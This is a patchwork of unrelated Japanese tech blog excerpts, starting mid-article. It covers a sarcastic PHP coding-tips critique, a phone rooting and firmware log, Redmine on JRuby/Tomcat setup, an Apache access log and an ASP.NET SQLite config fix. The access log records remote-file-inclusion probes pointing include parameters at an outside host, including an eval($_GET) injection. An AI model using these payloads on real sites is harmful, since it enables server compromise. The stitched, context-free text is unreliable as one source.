そうすることで何にどういう違いがあるのかすぐにわかるし、diffすれば一度にすべて把握することができる。
# 本番環境設定ファイル foo_flag: 1 hoge_flag: 1 hoge_url: '/hoge/'
# テスト環境設定ファイル foo_flag: 1 hoge_flag: 2 hoge_url: '/hoge/'
# ローカル環境設定ファイル foo_flag: 2 hoge_flag: 3 hoge_url: '/local/hoge/'
// ここで後の処理のためにhogeメソッドを呼び出しておく $q->foo(); // $a['foo']はここに来る時点で真のはず // 2010-03-10 判定がおかしいので修正 // 2010-06-21 やっぱり値が入ってる方が正しい if ( !isset($hoge[0]) ) { }
コメントは保守されない。そう、それは真実。こんなコメントを発見したら即効削除しよう。コメントは基本信じるな。
俺たちにちょっとしたヒントと大きな損害を与えてくれる、それがコメントの役割なのだ。
わかる。いいたい事はとてもわかる。俺たちはしばしばインデントにスペースを使うはずだ。一方でIDEのしっかりした言語ではタブも使うことがある。しかし悪いことに、両者を混同しているプログラマも一定数いるのだ。
タブを画面上で認識しにくいエディタが世の中には存在する(何とは言わないが)
そして画面上で認識しにくいことを理由にタブを気にしないプログラマがいる。
この二つの条件が重なると、タブとスペースの交じり合ったインデントが完成する。もうぐちゃぐちゃだ。これは永遠に続く戦いだ。
私たちが勝利を掴むためにできることなどせいぜい、常にスペースしか使わない。タブを見つけたらその都度スペースに変換する。そういった地道な活動が明日へとつながるのだ。
われわれがプログラムをするとき、何に一番時間がかかってるか。実は変数の命名なのである。ここで拘り過ぎて時間をかけ過ぎては何も進まない。
御託はイイからさっさと書け、だ。しかしとはいっても変数名は重要。日頃からどういうときにどんな名前を使うかを決めておくといい。
そして変数名に型はまったく必要ない。型宣言のないPHPにおいて、型の変数名をつけること自体ナンセンスだ。
$iNumber = 'aaa';
になんの意味もない。コメントを信じるなでも言ったが、これはプログラマを混乱させるだけの害悪なものだ。
変数を使う前に初期化するのは、警告を出さないという意味でも良い癖だ。しかし具体的にどこでやるかが問題だ。
$foo = null; $foo = $q->foo();
こんな初期化に意味はない。よくあるのはやはり、if文で値を振り分けるケースだろう
$foo = null; if ( $hoge ) { $foo = 1; } else if ( $bar ) { $foo = 2; }
このときの初期化はとても有効だ。もしnullの初期化を忘れたまま$fooを使うと警告が出るが、ちゃんと初期化してるので出ない。基本中の基本だ。
function getStatus() { $bReturn = false; if ($i == 2) $bReturn = true; return $bReturn; }(中略)
もし、何かしらの理由で、あなたの書いたif文が間違っていたら?
この書き方をしていれば、間違った値に対して、常にfalseが返る。
私たちが、PHPでsensitiveなデータを取り扱うなら、正しいデータが入力されるまでは、動かないコードを書くべきだ。
trueとfalseの条件がいまいち明確ではないが、本当に動かないコードを書けというのであれば以下のようにすべきだ
function getStatus() { $bReturn = false; if ($i == 2) $bReturn = true; else if ($i == 1) $bReturn = false; else throw new Exception("bad status! $i"); return $bReturn; }
中途半端にfalseを返して生存させる必要性はまったくない。今すぐ死ね!
連想配列のキーを指定する場合だけ定数と間違わないようにクオートで囲まなければならない。そして逆に定数を使いたい場合はクオートで囲ってはいけない。
更に後世のプログラマが処理を見たときに、定数が使いたかったのか、文字列が使いたかったのかを明確にしたい場合はconstantを使うと良い。
// 定数のFOOを使うよということが明確になる print $a[constant('FOO')];
もし、文字列を変数の値と一緒に出力するとき、PHPではコンマの代わりにprintfを使うことが使える。
printf( “Hello, my name is %s“, $sName);
以下の代わりに上記のコードを使う。
echo “Hello, my name is “, $sName;
出力すべき変数が増えれば増えるほど、有効になっていく。とにかく迷ったならば、printfを使え、だ。
三項演算子はとても有効だ。しかし優先順位に難があるせいで、三項演算子をネストしようとすると以下のようなコードになってしまう
$n = (($i == 1) ? 2 : (($i == 2) ? 3 :$i));
括弧だらけで読みにくいったらありゃしない。三項演算子を使うなら一回まで。約束守れないやつは丸めてゴミ箱にでも捨てちまえ。
if ( $flag ) { }
仕様をちゃんと把握しているなら真偽値のチェックなどこれで十分。
もし事前にbool型だというのが確定してるのなら「$flag === true」を使えばいい。
インクリメント、デクリメント演算子は前に付くか後ろに付くかで意味が変わるので慣れるまでは非常にややこしい。
わけがわからなくなるくらいなら初めから使わないほうが良い。見極められないなら使うな。それがPHPerなのだ。
文句なしだ。これは文句がない。
他にも色々あるので覚えておこう
$a %= 1; $a &= 1; $a |= 1; $a ^= 1; $a <<= 1; $a >>= 1;
てっとり早く画面に表示する際にpreはよく使うが、デザインの関係上画面の文字が見えないときがある。
なのでdivを使って以下のようにしとくと便利だろう。
function p($var) { echo "<div align='left' style='background-color:white;color:black;'><pre>"; print_r($var); echo "</pre></div>"; }
君らが通常作るアプリケーションなんぞに、定数なんぞ必要ない。いいか、もう一度言う、お前ら程度のもんが、定数使おう何ぞ、おこがましいわ!
大丈夫。なんでもかんでも定数にする必要はない。結局設定ファイルに定数をずらずら作りまくってわけがわからなくなってるパターンが多い。
貴様みたいなもんに、定数は制御できん。いいか設定ファイルはYAML等のデータで持つようにし、その連想配列のデータ構造を一つ持ってるだけで定数の変わりになる。
このメリットに比べれば、定数だと書き換えられなくて良いという利点などこの歯のカスほどのものだ。そんなものは丸めてゴミ箱へ捨ててしまうといい。
認識を改めろ。俺たちはより良いPHPerにならないために努力している。
class Request { private $parameters; private $method; function __construct () { $this->method = $_SERVER['REQUEST_METHOD']; if ( strtoupper($this->method) === 'POST' ) { $this->parameters = $_POST; } else { $this->parameters = $_GET; } } function param ($key) { return isset($this->parameters[$key]) ? $this->parameters[$key] : null; } }
これだけでもいい。たったこれだけでもとても便利だ。ここから拡張してGETやPOSTを明示的に取るメソッドとかも作ってみるといい。自分の手を動かすのだ!
例が良くない。こんなのは引数が20個ある関数から、setを20回呼ぶオブジェクトに変わっただけではないか。
そもそもこの20個の引数とはなんなのか。何かのデータ構造なんであれば連想配列にして引数一つとして渡すべきだし、それぞれまったく異なる用途の変数なのであればWindowsプログラミングじゃあるまいし、20個も引数取る時点で設計が間違えている。
何がいいたいか。別に関数でもオブジェクトでもどっちでもいいということだ。
そんなことで悩んでる暇があったら設計を見直せ。
スキあらば自分自身を返せ。スキあらばオブジェクトを返せ。配列はArrayObjectのARRAY_AS_PROPSで返せ。
ひたすらメソッドチェイン。来る日も来る日もメソッドチェイン。とにかくメソッドチェインを使い続けろ。そこに未来はある。
どんなコードも繰り返すな。もし、少しでも同じコードを書いていたなら、それは関数に置き換えてしまえ。
・・・と、いうのはやめなさい。
一見同じように見えた処理でも前後の流れでまったく違うものということが往々にしてある。
まとめ方にも問題があるケースもある。何でもかんでも関数化すると、関数が膨大に増えていく。君は見たことがあるだろうか。common.phpやfunction.phpの恐ろしさを。
確かに細かく関数化はされているが、適切に関数化していないのである。結合度が非常に高い。なんでもかんでも盲目的にまとめれば良いという話ではないのだ!
あまりに極度に意識しすぎると、プログラムそのものができなくなる。そういう状態に陥る。
気を抜いて。そう気を抜いて。所詮あなたのコードなんてすぐに消えてなくなるよ。きっともっと偉い人が作り直すよ。だからまずは思うが侭にやるといい。
結合度を減らすというのは非常に難しい。何度も何度も失敗し続けて、ようやくここは分けた方が良かったんだなと気付く。次に活かそうと心に決める。そしてまた同じ過ちを繰り返していくわけだ。
まずは実装することだ。これが一番の早道だ。まずはがっつり結合した関数をあえて作るといい。何も考えずに作ろう。
そしてその後に、一部分使いまわしたいとおもうことがあるはずだ。その時に関数に切り出そう。それを繰り返すといい。そのうち初めから分けた方が良いと気付く。
何事も経験が必要である!経験を積まないプログラマは丸めてゴミ箱に捨ててしまえ。
さて、先の例で言うならば、私ならadd_result_outputという関数を作ってしまうだろう。だって、addとresultを連続して呼ぶのはめんどくさいんだもん。一連の流れをいつも使うのなら、その流れをやってくれる関数を作ればいいじゃないか。
function add_result_output ($iVar, $iVar2) { $r = add($iVar, $iVar2); echo result($r); }
もっと言えばクラス化してしまってもいいかもしれない。どんな感じになるかは君の手を動かして確認しよう!
このTipsはとてもわかりにくく、ニッチ過ぎる部分も多いかもしれない。
あくまでも「より良いPHPerにならないための20Tips」なのだ。
君はこの記事を鵜呑みにしてはならない。PHPをPHPと見抜けないPHPerはPHPを使うのは難しい。
もし、あなたがPHPプログラマなら、公式のPHPドキュメントはあなたのケツの穴を拭くための紙になるだろう。
私は、それぞれのセクションを眺めて、各関数でどんなことが出来るかなんぞ、歯クソのゴミ程に役に立たないとおもっている。動けばいい。はは。
あなたは、PHPで用意された既製関数で多くのことが実現できることに、(俺の仕事を減らすなと)驚くはずだ。
この記事があなたの役に立たない事を。
ふざけんな!
UK版ファームにはまだ通知がこないので、Nordic あたりに偽装して試してみる。
■準備
12:55 まずは準備。母艦に入ってたソニエリの Update Service をアンインストールした。
13:00 Titanium Backup http://tinyurl.com/22rxwqc でアプリをバックアップした。
13:01 純正のバックアップツールで SMS/MMS をバックアップ。
13:05 APN Backup Restore http://tinyurl.com/26t6pq7 で APN 設定をバックアップ
13:08 (念のため) SMS Backup+ http://tinyurl.com/24kv56y で SMS/MMS を gmail にバックアップしておこう
13:17 SMS しかバックアップ取れてないぞ。ま、いいか。準備完了。
■いよいよアップデート
13:17 build.prop を書き換えよう。Xda developers http://forum.xda-developers.com/ に情報探しに行く
13:21 日本語の情報あるじゃねーか。。。http://tinyurl.com/2uzugyk http://tinyurl.com/2fu9xsy
13:23 build.prop の 1238-0199 を 1238-8536 に書き換え。要 root
ro.product.name=U20i_1238-8536
ro.build.fingerprint=SEMC/U20i_1238-8536/SonyEricssonU20i/delta:1.6/1.1.A.0.8/1:user/release-keys
ro.semc.version.cust=1238-8536
13:30 ここら辺 http://tinyurl.com/ydjr8jg から Update Service をインストール
13:36 ダメだ。最新のソフトウェアがインストールされています、だそうだ。
娘が起きてしまったので一旦中断
15:50 再開。Update Service をアンインストール、PC 再起動、再インストール
15:59 Back ボタンを押しながら USB 接続すると、アップデートがあります、だそうだ。
16:05 アップデート完了。
■root
16:24 ここら辺 http://juggly.cn/archives/12187.html を読みながら SuperOneClick で root 化。5分くらい経ったけどまだダメ。
16:33 APN Backup Restore http://tinyurl.com/26t6pq7 で APN 設定を復元
一旦中断
16:50 USB Debugging 有効、Unknown Sources 許可、Screen timeout 30分にして再度挑戦。10分くらい放っておいたら root 取れてた。
■ひたすらリストア
17:00 Titanium Backup http://tinyurl.com/22rxwqc でアプリを復元。一つ一つやると時間かかる。有料版買おうかな
17:15 純正のバックアップツールで SMS/MMS をリストア。
17:26 Auto-sync 有効にして放っておいたら電話帳もリストアされた。
夕食のため中断
21:34 DroidSansJapanese.ttf (中身はメイリオ) と DroidSansFallback.ttf を /system/fonts に入れて reboot
UK ファームのときの qwerty.kcm.bin を取っておけば良かったのかな。
00:45 MMS の UserAgent 変えるの忘れてた。custom_settings.xml で対処 http://tinyurl.com/29qex3v
■キーマップ変更
11/4 11:13 ここ http://tinyurl.com/33lw734 に添付してある keys.tar を解答して、keyboard-config 以下のファイル全部と、mimmi_keypad.kcm.bin を置き換えたらキーマップも EN 配列になった。qwerty.kcm.bin は mimmi_keypad.kcm.bin へのシンボリックリンクだったので置き換えず。←今ココ
結構苦労したので健忘録として。。
環境は以下のとおり
yum install mysql-server
/etc/init.d/mysqld start
mysql_secure_installation
jruby -S gem install rails jruby -S gem install warbler jruby -S gem install activerecord-jdbc-adapter jruby -S gem install activerecord-jdbcmysql-adapter jruby -S gem install jdbc-mysql
mysql -u root -p mysql> create database redmine character set utf8; mysql> grant all privileges on redmine.* to 'redmine'@'localhost' identified by 'redmine'; mysql> exit
(任意の場所にRedmineを解凍して、解凍先のディレクトリに移動した後)
cp config/database.yml.example config/database.yml vi config/database.yml
database.yml
production: adapter: jdbcmysql database: redmine host: localhost username: redmine password: redmine encoding: utf8 #development: # # #test: # #
後のwarbleでのエラーを防ぐため、developmentとtestをコメントアウト
jruby -S rake generate_session_store jruby -S rake db:migrate RAILS_ENV=production jruby -S rake load_default_data RAILS_ENV=production
script/serverで起動し、http://localhost:3000 にアクセスして正常に動作するか確認する
jruby script/server -e production
vi config/environments/production.rb config.logger = Logger.new(config.log_path) config.logger.level = Logger::INFO
warble.rbを生成
jruby -S warble config
warble.rbを修正
vi config/warble.rb config.dirs = %w(app config lib log vendor tmp extra files lang) config.gems = ["jdbc-mysql", "activerecord-jdbcmysql-adapter", "activerecord-jdbc-adapter"] config.gems["rails"] = "2.3.5" config.gems["rack"] = "1.0.1" config.webxml.rails.env = "production"
jruby -S warble
できたwarファイルをTomcatに配置して、Tomcatを起動する
mv redmine-0.9.3.war /usr/local/tomcat/webapps/redmine.war /usr/local/tomcat/bin/startup.sh
warblerのバグ(?)でwarに入らないファイルをコピーして入れる
cp vendor/gems/rubytree-0.5.2/.specification /usr/local/tomcat/webapps/redmine/WEB-INF/vendor/gems/rubytree-0.5.2
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?_SERVER[DOCUMENT_ROOT]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 234 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /errors.php?error=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 223 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?page=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 216 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /poll/png.php?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /admin/business_inc/saveserver.php?thisdir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /webcalendar/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 256 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /cal/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 251 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /projects/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 241 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 286 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET //?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /s_loadenv.inc.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 237 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /project/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /board/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /dotproject/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_facileforms/facileforms.frame.php?ff_compath=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 247 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /calendar/tools/send_reminders.php?noSet=0&includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 253 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 236 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /rgboard/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 255 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?option=com_content&task=&sectionid=&id=&mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 269 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 260 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 224 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cacti/include/config_settings.php?config[include_path]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 248 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cms/ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 245 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&w=include($_GET[a]);&a=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 307 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 232 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /plugins/safehtml/HTMLSax3.php?dir[plugins]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"
202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"
自分のための覚え書き。知ってる人からすれば全然当たり前のことかも…
IIS上で、Visual Studio 2008で開発したASP.NETなWebサイトを動かす時に、SQLiteを使う方法
IISの動作しているマシンに「SQLite for ADO.NET 2.0」をインストール。
それだけで良いと思ったけれど、以下のエラーが発生。
ArgumentException: 要求された .Net Framework データ プロバイダが見つかりません。これは、インストールされていない可能性があります。
いろいろ調べたら、手動でmachine.configを書き換える必要があるみたい。
<system.data> <DbProviderFactories> <add name="SQLite Data Provider" invariant="System.Data.SQLite" description=".Net Framework Data Provider for SQLite" type="System.Data.SQLite.SQLiteFactory, System.Data.SQLite, Version=1.0.61.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139" /> </DbProviderFactories> </system.data>
無事に動くようになりました。